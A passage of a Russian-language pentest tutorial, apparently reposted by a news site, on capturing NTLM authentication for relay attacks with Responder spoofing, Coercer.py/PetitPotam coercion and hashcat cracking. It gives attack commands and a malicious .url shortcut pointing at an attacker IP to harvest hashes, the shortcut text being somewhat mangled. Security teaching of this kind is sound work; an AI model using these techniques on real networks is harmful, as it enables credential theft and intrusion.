Категория > Новости > Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки - «Новости»

Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки - «Новости»


8-04-2023, 00:00. Автор: Мирослава
Crack.SH.

От­сутс­тву­ет про­вер­ка целос­тнос­ти сооб­щения (MIC — message integrity code), которая защища­ет от Relay-атак с одно­го про­токо­ла на дру­гой.


Как мож­но догадать­ся, в NTLMv2 исполь­зует­ся хеш NetNTLMv2. В нем раз­работ­чики пос­тарались решить все проб­лемы про­токо­ла NTLMv1. Дей­стви­тель­но, мож­но ска­зать, что обра­тить этот хеш за разум­ное вре­мя хотя бы до NT пока не пред­став­ляет­ся воз­можным. Под­готовить радуж­ные таб­лицы не получит­ся, потому что к CHALLENGE добави­лась мет­ка вре­мени. А вот с Relay-ата­ками не все так однознач­но, но об этом мы погово­рим в дру­гой раз.


В этой статье будут рас­смот­рены некото­рые вари­анты зах­вата NTLM-аутен­тифика­ции для реали­зации Relay-атак. В сле­дующей мы обсу­дим непос­редс­твен­но Relay-ата­ки.


Са­мое прос­тое, что мож­но сде­лать с получен­ным NetNTLM-хешем любой вер­сии, — это подоб­рать пароль по сло­варю. Нап­ример, так:


hashcat -a0 -m5500 hash wordlist -rrules (NetNTLMv1)
hashcat -a0 -m5600 hash wordlist -rrules (NetNTLMv2)
 

Захват с Responder


Один из самых прос­тых спо­собов получить NTLM-аутен­тифика­цию — спу­финг с помощью Responder (этот инс­тру­мент мож­но най­ти в Kali).



info


Мож­но запус­тить NetBIOS spoofing с помощью Responder и получен­ную аутен­тифика­цию исполь­зовать для Relay-ата­ки. Для это­го нуж­но прос­то отклю­чить в кон­фиге Responder сер­вера SMB, HTTP и DCE RPC, что­бы не воз­никло кон­флик­та с ntlmrelayx. Пос­ле это­го запус­тить Responder и ntlmrelayx.



Уве­рен, что мно­гие уже исполь­зовали этот инс­тру­мент для зах­вата хешей, поэто­му крат­ко про­бежим­ся по основным фун­кци­ям. Responder пре­дос­тавля­ет поль­зовате­лю набор сер­веров для зах­вата и обра­бот­ки аутен­тифика­ций.


Гид по NTLM Relay. Захватываем NTLM-аутентификацию для Relay-атаки - «Новости»
Спи­сок сер­веров Responder

Зах­ват хеша с Responder выг­лядит при­мер­но сле­дующим обра­зом.


Зах­ват NetNTLM-хеша с помощью Responder

Этот фор­мат при­годен для бру­та с помощью hashcat. Все зах­вачен­ные хеши Responder скла­дыва­ет в базу SQLite, рас­положен­ную по пути /usr/share/responder/Responder.db. Открыть базу мож­но сле­дующей коман­дой:


sqlitebrowser /usr/share/responder/Responder.db
Внеш­ний вид Responder.db

Файл кон­фигура­ции Responder находит­ся здесь: /etc/responder/Responder.conf. Эта информа­ция может при­годить­ся, если надо будет вык­лючить или вклю­чить опре­делен­ный сер­вер. На скри­не ниже изоб­ражен файл кон­фигура­ций Responder.conf.


Кон­фиг Responder.conf

Responder незаме­ним для реали­зации спу­финг‑атак в сетях на осно­ве Windows. Пред­посыл­кой для выпол­нения ата­ки типа NetBIOS Spoofing слу­жит наличие в сети широко­веща­тель­ного тра­фика типа NBNS, LLMNR и mDNS. Тра­фик в сети мож­но прос­лушивать с помощью Wireshark, при­меняя филь­тр NBNS.


NBNS-тра­фик в сети

Вмес­то визу­аль­ного ана­лиза тра­фика можем прос­то запус­тить Responder в режиме ана­лиза сле­дующей коман­дой:


responder -Ieth0 -A

Пос­ле запус­ка получа­ем при­мер­но такую кар­тину, можем про­бовать спу­финг.


Responder в режиме ана­лиза

Спу­финг‑ата­ки для зах­вата аутен­тифика­ции мож­но выпол­нять сле­дующей коман­дой:


responder -Ieth0 -dwF

Ес­ли ата­ка уда­лась, перехо­дим к сле­дующим шагам.


Ре­зуль­тат выпол­нения спу­финг‑ата­ки 

Захват NTLM-аутентификации для Relay-атак


Для выпол­нения Relay-атак удоб­нее все­го исполь­зовать ntlmrelayx из пакета impacket. В этом инс­тру­мен­те реали­зова­ны час­то встре­чающиеся про­токо­лы, с которых мож­но зах­ватить NTLM-аутен­тифика­цию. Вооб­ще, ntlmrelayx име­ет кли­ент‑сер­верную модель, и в этой статье мы как раз обсу­дим все RelayServers, реали­зован­ные в нем, и даже добавим новый, которо­го еще нет в основной вет­ке.



info


Сто­ит сра­зу отме­тить, что пор­ты, которые прос­лушива­ют сер­веры RelayServer ntlmrelayx, мож­но сме­нить. Это может при­годить­ся при реали­зации слож­ных атак.



 

SMB (445/TCP)


Про­токол SMB с точ­ки зре­ния Relay-атак наибо­лее изу­чен­ный и популяр­ный, поэто­му и спо­собов зах­вата аутен­тифика­ции с SMB боль­ше все­го. Вот нес­коль­ко вари­антов того, как это мож­но сде­лать:



  1. Про­вес­ти coerce-ата­ку (при­нуж­дение к аутен­тифика­ции):
    - ано­ним­но — с помощью PetitPotam (CVE-2021-36942);
    - с учет­ной записью.

  2. Исполь­зовать ярлы­ки на шарах с дос­тупом на запись:

  3. ано­ним­но;

  4. с учет­ной записью.

  5. Стриг­герить вруч­ную.

  6. Про­вес­ти MITM-ата­ку.


 

Coerce-атаки


С coerce-ата­ками мы сей­час под­робно раз­бирать­ся не будем. Сто­ит упо­мянуть, что если у нас есть учет­ная запись, то coerce уже не уяз­вимость, а осо­бен­ность архи­тек­туры.


При­нуж­дать мож­но любым удоб­ным скрип­том, нап­ример Coercer.py — на сегод­няшний день он под­держи­вает поч­ти все извес­тные методы при­нуж­дения, в том чис­ле без учет­ной записи.



info


На самом деле coerce-ата­ки мож­но выпол­нять не толь­ко с 445-го пор­та, но и с 139, 135 и 4915-го пор­тов. Под­робнее об этом, а так­же о методах защиты от этих атак мож­но почитать на «Хаб­ре».



При­мер исполь­зования Coercer.py показан на рисун­ке ниже.


За­пуск Coercer.py

В резуль­тате при­нуж­дения мы получа­ем NTLM-аутен­тифика­цию.


Ре­зуль­тат выпол­нения coerce-ата­ки

Важ­но отме­тить, что в резуль­тате выпол­нения такой ата­ки мы получа­ем имен­но ма­шин­ную учет­ную запись, это необ­ходимо пом­нить при пла­ниро­вании Relay-атак.


 

Ярлыки


Тех­ники с ярлычка­ми доволь­но ста­рые и дей­ствен­ные, называ­ются они slinky и scuffy. Если в сети при­сутс­тву­ют пап­ки, откры­тые на запись, обя­затель­но нуж­но положить в них ярлычки, которые будут ссы­лать­ся на IP-адрес ата­кующе­го. Как толь­ко поль­зователь откро­ет сетевую пап­ку с нашим ярлы­ком, нам при­летит NTLM-аутен­тифика­ция на SMB. Реали­зовать ата­ку мож­но нес­коль­кими спо­соба­ми:



  • при помощи ути­литы PyLnk 3 (есть в Kali);

  • при помощи CrackMapExec (тоже есть в Kali);

  • вруч­ную.


Для экспе­римен­та выберем тре­тий вари­ант и будем исполь­зовать тех­нику, которая нем­ного отли­чает­ся от slinky и scuffy. Содер­жимое фай­ла с рас­ширени­ем .url будет при­мер­но сле­дующим:


URL=whateverWorkingDirectory=whateverIconFile=<attacker IP>%USERNAME%.iconIconIndex=1

По­ложи­ли ярлык в сетевую пап­ку, переш­ли в нее и получи­ли NTLM-аутен­тифика­цию, как показа­но на сле­дующих рисун­ках.


Пе­рехо­дим в сетевую пап­ку, где рас­положен ярлык.


По­ложи­ли ярлык в сетевую пап­ку

Сра­зу же при­лета­ет NTLM-аутен­тифика­ция.


Ре­зуль­тат раз­мещения ярлы­ка в сетевой пап­ке

В при­мере хеш зах­вачен с помощью Responder, на прак­тике же мож­но запус­тить ntlmrelayx и выпол­нить Relay-ата­ку.


 

Триггерим вручную



Перейти обратно к новости